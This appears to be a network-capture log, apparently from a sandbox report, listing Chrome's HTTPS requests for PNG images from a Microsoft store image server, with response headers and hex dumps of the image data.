2022-05-13 14:39:59 UTC 193 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 
92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 
96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 
54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 
Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.3 49719 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:59 UTC 203 OUT GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-
74f2065197d3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-13 14:39:59 UTC 203 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10694
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE"
MS-CV: PAMnN/lHQEOUOWN/.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:59 UTC 203 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c 
fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 
21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 
33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 
a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 
Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ
)RJ)RJ)RJ)RJ)

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.3 49720 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:59 UTC 214 OUT GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-
0d51ac792471?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:59 UTC 215 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16935
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE"
MS-CV: 0jLeqAm/ckGHvdAs.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:59 UTC 215 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a 
f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 
19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 
80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 
3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 
8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 
Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e|O-S+&:
<yA,aB$($rP6;V

2022-05-13 14:39:59 UTC 231 IN Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 
b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 
f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 
bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 
27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 
07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 
e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 
Data Ascii: VTjT7r{<R5oU>5 *&p\>#LT#)JF#Q:TU}fV1*!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e|7:WUfg!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.2.3 49721 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:39:59 UTC 214 OUT GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-
8e079298b84b?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:59 UTC 232 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 57945
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc"
MS-CV: ejMSje+zLkSN72MX.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:59 UTC 232 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 
20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 
c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee 
aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c 
d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb
91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d 
c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 
Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$|4&c</+L@.pQf|tic:G,-7

2022-05-13 14:39:59 UTC 248 IN Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 
20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 
2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 
b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 
02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 
fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 
02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 
Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"*uf2SI%CH:j8.SU*x:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Ws
g80qa'*iRHg}6y

2022-05-13 14:39:59 UTC 256 IN Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b 
ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 
0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 
e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 
f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 
bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 
33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed 
Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGl*Ukg63dIg![1}/n<Fd,cE~}*KX)/'#5gR6=SI]#x3OC3xH

2022-05-13 14:39:59 UTC 272 IN Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 
44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 
5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 
1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 
f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b 
cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 
99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 
Data Ascii: \[_B&X,K,{&JzXD\cUdG|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ

2022-05-13 14:39:59 UTC 280 IN Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 
04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 
9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 
9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 
9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 
cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 
9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e 
Data Ascii: 7e^']u=J X*\SRTpdU+srK'*UK)r~avM?=+_gvM^3c3Q00?*\O~O7v"e&I{*Qfj5o+}\V4T2K("3Y1eGNeUU.2qc
eT+Uq<T(HdK3<

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.3 49705 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:56 UTC 57 OUT GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2
aa4f3afe248?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-13 14:39:56 UTC 58 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4765
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc"
MS-CV: 0gdTj9M+eE6j3uUJ.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:56 UTC 58 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 
84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 
c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 
84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 
c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 
61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 
Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.2.3 49725 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:04 UTC 289 OUT GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-
431c9fcc4d54?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:05 UTC 289 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64317
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU"
MS-CV: hJL5u9fB70qoso/s.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:05 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:05 UTC 289 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 
01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d 
c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 
63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba 
f6 be 9f 93 5a 7a ce db d5 b3 d7 9c 73 cc 31 c6 bc ae b5 f7 5e cf be 
Data Ascii: PNGIHDR,,y}usRGBDeXIfMM*i,,`@IDATxmuv~M[`F *`DFcL)cQ"C)Miqq1Zzs1^

2022-05-13 14:40:05 UTC 305 IN Data Raw: e3 e2 56 d3 fd f6 b0 3e 7c c9 11 f1 94 03 9b 38 fc fc fc 6d bd 2a 58 87 7f a5 3c cc 73 3f d7 a7 1c 96 eb 66 a4 4f 
57 35 07 37 2d e0 fe 6d 20 ff 69 8e 78 18 c6 be f6 87 bf a7 e5 1b 54 51 ca 4b 37 ab 82 f3 47 cd 75 53 5b 0b b9 3e 61 f1 
05 01 d9 3c bc 53 47 f5 7b 23 c9 1f 9c 6e 05 be e9 02 27 57 75 73 66 bf 0d 95 98 5f d1 b7 ea d6 4e 6e d5 ec 4d 4f 80 85 
29 2c d5 e0 3c f5 4c 5e 91 50 ce 1b 13 0c 4f 18 c9 6b da 75 f6 22 e4 fb 6c 2e f1 9c 6d 07 eb 5d 8f 88 75 9c 3c b9 ee e0 6e 
b5 3c 53 f7 a9 e6 b0 d6 8b 74 5d eb 34 40 4f b3 1d 55 76 20 fe ac 19 7a 0b 78 bd 9f f1 0b f7 fe 26 25 6b af 17 18 f8 38 a8 
13 90 fd de c0 a2 f1 9c 5e 01 f7 66 b7 7e 15 5b 5d 82 ae 3b 29 2c f2 cd 13 85 7a 5c 6b e5 93 8a 9a 58 f4 9a d3 c9 e2 44 
c9 31 a3 be 6e 20 eb bb 25 8c d4 6f ef f8 c5 
Data Ascii: V>|8m*X<s?fOW57-m ixTQK7GuS[>a<SG{#n'Wusf_NnMO),<L^POku"l.m]u<n<St]4@OUv zx&%k8^f~[];),z
\kXD1n %o

2022-05-13 14:40:05 UTC 321 IN Data Raw: 15 88 b0 d9 48 e8 7d b7 3e 98 8a e8 0d 02 b0 86 df 6e 4a ae 3f 00 91 a1 ed f6 e5 60 db 72 2c 31 1b e6 e4 25 
66 c6 01 bc f7 3f d8 a8 04 ef 92 c5 90 58 cd 88 3e 89 32 d7 bf 4b 88 d1 18 1f 4a 1e 9b 7c 8c 6c 30 0d 29 e3 3a e6 2b 0c 
e0 12 fb cc 79 93 34 3e 95 25 26 d4 d1 13 72 d5 c1 c5 f6 48 8e 6d cf 57 f9 e8 54 71 c5 9f 9c e8 4f 63 3a f0 79 5f f7 f7 46 
3e ad 1b ac fc d0 98 be 49 b0 bc e6 8e 7c c3 9b de 7c fb 6b 7f e7 fb 5a 7b 9a 76 07 e6 06 57 db 58 9a 7e b9 8f 52 98 b1 
67 96 82 58 f7 74 1b 13 a3 b9 06 1b c4 65 93 50 40 be 5a 90 8d 2b 68 73 99 6a f1 b5 c8 34 43 c0 ca 2b 4b 1c bd 4f 60 8f 
2f 2e 83 e4 4f ed e6 69 a7 6b 70 cc 81 4e 7c b8 d1 eb 2d 21 16 58 fc 27 7e a6 39 0e c4 87 e3 3a 07 65 bb 0e cc e1 08 f6 
84 69 ae f8 82 9d 04 01 2f dc 54 dd b6 05 39 0a 3b 19 
Data Ascii: H}>nJ?`r,1%f?X>2KJ|l0):+y4>%&rHmWTqOc:y_F>I||kZ{vWX~RgXteP@Z+hsj4C+KO`/.OikpN|-!X'~9:ei/T9;
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2022-05-13 14:40:05 UTC 322 IN Data Raw: a0 27 87 45 1e cc 16 70 f6 cb 5c f8 7a d8 cc e1 da 87 00 9e bf f9 53 ff c2 d7 aa 5d f4 44 83 b6 74 eb ca d6 f6 
f8 d3 4f 63 ca 37 4f 08 0a 64 d1 bd 42 66 5e c4 7f d6 97 7c f3 ed 5b be e7 e9 57 ce d0 da 0c 6f 06 34 b9 7b c4 ec d5 e8 
de 62 64 d4 b3 c7 f8 62 c3 7d 59 ba 27 d5 9c 0e cf 61 cd c7 e5 25 26 2f 89 be 56 ae c7 4a 95 06 20 18 e6 d3 48 99 27 e3 
2a ed 6d f1 eb 7c d9 b2 c2 bd 3e 74 17 eb 10 48 40 4e 73 c6 de 99 ed 0b 7e 39 c1 67 04 83 1e 73 6c d1 b7 6f e2 e4 b4 3f 
33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c 
be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 
e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd 
Data Ascii: 'Ep\zS]DtOc7OdBf^|[Wo4{bdb}Y'a%&/VJ H'*m|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=|4O)W[

2022-05-13 14:40:05 UTC 338 IN Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 
67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa 
e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 
59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f 
f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee 
c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab 
c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd 
Data Ascii: T&Uu',4y hf\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB

2022-05-13 14:40:05 UTC 350 IN Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 
d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 
be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff 
b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df 
cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 
04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 
